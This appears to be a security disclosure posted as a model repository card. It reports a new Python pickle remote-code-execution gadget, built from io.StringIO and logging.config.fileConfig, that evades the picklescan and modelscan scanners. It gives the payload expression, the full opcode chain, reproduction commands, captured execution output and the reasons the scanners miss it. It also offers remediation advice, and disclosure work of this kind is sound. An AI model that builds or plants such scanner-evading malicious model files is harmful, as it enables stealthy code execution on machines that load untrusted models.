YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
NEW pickle RCE gadget: logging.config.fileConfig + io.StringIO β raw eval() of INI config strings; clean on both picklescan and modelscan
Category: Pickle deserialization RCE / model-scanner bypass (new gadget)
Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8
Trigger runtime: CPython 3.13.12 (logging.config stdlib); reproduced via pickle.load and joblib.load (joblib 1.5.3)
Payload: 413-byte pickle protocol 4 (evil.pkl == evil.joblib, identical bytes)
sha256(evil.pkl) = 32fe14ad1b718c5d9b0956db8534bac4234a8374fb07802689c9d75d20df0f94
Summary
logging.config.fileConfig(fname) parses an INI-format logging configuration and, for every handler
section, evaluates the raw class, args, and kwargs strings with eval(<str>, vars(logging))
(CPython Lib/logging/config.py, _install_handlers, lines 154/158/160). Because vars(logging) is used
as the eval globals, CPython auto-injects __builtins__, so __import__('os').system(...) resolves and
executes.
Two facts make this a self-contained pickle gadget:
fileConfigaccepts any file-like object with areadlinemethod βif hasattr(fname, 'readline'): cp.read_file(fname)(line 75-76). So the attacker wraps the INI text in anio.StringIObuilt entirely from the pickle stream; no file on disk is required.- The dangerous command travels only as an inert
BINUNICODEstring operand (the INI text) fed toio.StringIO(...). The only two GLOBAL opcodes in the whole stream areio.StringIOandlogging.config.fileConfigβ neither is on either scanner's dangerous list, and neitheros,subprocess,eval, norsystemever appears as a global.
Both scanners therefore report 0 issues / No issues found while the payload runs on unpickle.
Root cause
Call chain (CPython 3.13, Lib/logging/config.py):
logging.config.fileConfig(io.StringIO(ini_text))
-> hasattr(fname,'readline') -> cp.read_file(fname) # parse INI from StringIO
-> _install_handlers(cp, formatters)
klass = eval(section["class"], vars(logging)) # line 154
args = eval(section["args"], vars(logging)) # line 158 <-- RCE fires here
kwargs= eval(section["kwargs"], vars(logging)) # line 160
h = klass(*args, **kwargs)
The PoC sets args = "__import__('os').system('<cmd>') and () or ()". os.system returns 0, so the
expression evaluates to () β the command runs, then logging.StreamHandler(*()) is constructed cleanly,
_install_loggers completes, and fileConfig returns None with no traceback (stealthy).
Why both scanners miss it
- picklescan 1.0.5 β
_unsafe_globalslists onlylogging: {"FileHandler"}(modulelogging, nameFileHandler). The gadget uses modulelogging.config, namefileConfigβ not matched.io.StringIOis not listed either. Both surface merely as suspicious (count 2), never dangerous;Infected files: 0. - modelscan 0.8.8 β
logging/logging.configandioare entirely absent fromDEFAULT_SETTINGS['unsafe_globals'](CRITICAL/HIGH).No issues found. - The command string is never a global/reduce target β it is a plain
BINUNICODEoperand. Neither scanner performs data-flow or string inspection.
Distinct from the covered dictConfig gadget
This is not the previously-covered logging.config.dictConfig gadget:
dictConfig (covered) |
fileConfig (this finding) |
|
|---|---|---|
| Callable | logging.config.dictConfig |
logging.config.fileConfig |
| Sink | DictConfigurator.configure_custom() β resolve(dotted_name) + instantiate |
raw eval(args, vars(logging)) (CWE-94 direct eval) |
| Argument shape | a dict passed directly |
INI text, requires a file/file-like source |
| Delivery trick | trivial (dict is a pickle-native object) | io.StringIO reduce so no disk file is needed |
Different function, different root-cause sink (direct eval vs resolve+instantiate), different payload
delivery. fileConfig has its own independent eval() sites (_create_formatters also does
eval(defaults, vars(logging)), line 132).
PoC
| File | Purpose |
|---|---|
gen_poc.py |
Generator β hand-assembles the pickle opcode chain |
evil.pkl |
413-byte proto-4 payload |
evil.joblib |
Identical bytes to evil.pkl |
control_os.pkl |
Negative control β classic os.system reduce (both scanners MUST flag) |
Opcode chain (pickletools.dis(evil.pkl))
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'logging.config'
18: \x8c SHORT_BINUNICODE 'fileConfig'
30: \x93 STACK_GLOBAL # push logging.config.fileConfig
31: \x8c SHORT_BINUNICODE 'io'
35: \x8c SHORT_BINUNICODE 'StringIO'
45: \x93 STACK_GLOBAL # push io.StringIO
46: X BINUNICODE '<INI text with args=__import__(\'os\').system(...) and () or ()>'
408: \x85 TUPLE1 # (ini_text,)
409: R REDUCE # io.StringIO(ini_text)
410: \x85 TUPLE1 # (stringio,)
411: R REDUCE # logging.config.fileConfig(stringio) -> eval -> RCE
412: . STOP
Reproduce
# Python 3.13.12 venv "scan313" (execution)
scan313/bin/python gen_poc.py
scan313/bin/python -c "import pickle; print('load:', pickle.load(open('evil.pkl','rb')))"
cat PWNED_fileconfig
scan313/bin/python -c "import joblib; print('joblib:', joblib.load('evil.joblib'))"
# scanners (venv "scan312")
scan312/bin/python -m picklescan -p evil.pkl
scan312/bin/modelscan -p evil.pkl
Captured evidence (verbatim)
Execution β Python 3.13.12
pickle.load returned: None
--- PWNED marker ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
fileconfig_gadget_executed
joblib 1.5.3 β identical result
joblib 1.5.3
joblib.load returned: None
# PWNED_fileconfig marker written identically
pickle.load / joblib.load return None with no traceback.
picklescan 1.0.5 on evil.pkl β CLEAN
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
All globals found:
* io.StringIO - suspicious
* logging.config.fileConfig - suspicious
modelscan 0.8.8 on evil.pkl β CLEAN
--- Summary ---
No issues found! π
Negative control (control_os.pkl = os.system reduce) β BOTH scanners flag it
picklescan:
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
modelscan:
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Description: Use of unsafe operator 'system' from module 'posix'
The control proves the scanners and harness work; the gadget's cleanliness is specific to the new
logging.config.fileConfig primitive.
Impact
Any pipeline that unpickles untrusted model files after clearing them through picklescan or modelscan is
vulnerable to arbitrary code execution. pickle.load/joblib.load return None with no exception, so the
attack is stealthy. joblib.load (default loader for scikit-learn .joblib/.pkl artifacts) is equally
affected.
Suggested remediation
Add logging.config.fileConfig (and logging.config.dictConfig, io.StringIO, and the broader class of
stdlib callables that route attacker data into eval/compile) to the scanners' dangerous-globals lists.
More robustly, treat any global outside an allowlist as unsafe β inert string operands carrying the
payload can never be caught by name-based blocklists.
Dedup note
- Distinct from all covered pickle gadgets and from every
EnigmaConsultantHFpickle-*/joblib-*PoC repo. The only logging-family repo ishuntr-poc-joblib-logging-dictconfig-rce(dictConfig, a different callable and aresolve()+instantiate sink, noteval). No prior repo demonstratesfileConfigor theio.StringIO-delivered raw-evalINI path. - Not a known CVE: the primitive is
logging.config.fileConfigβ_install_handlersβeval(args, vars(logging)), delivered via anio.StringIOreduce.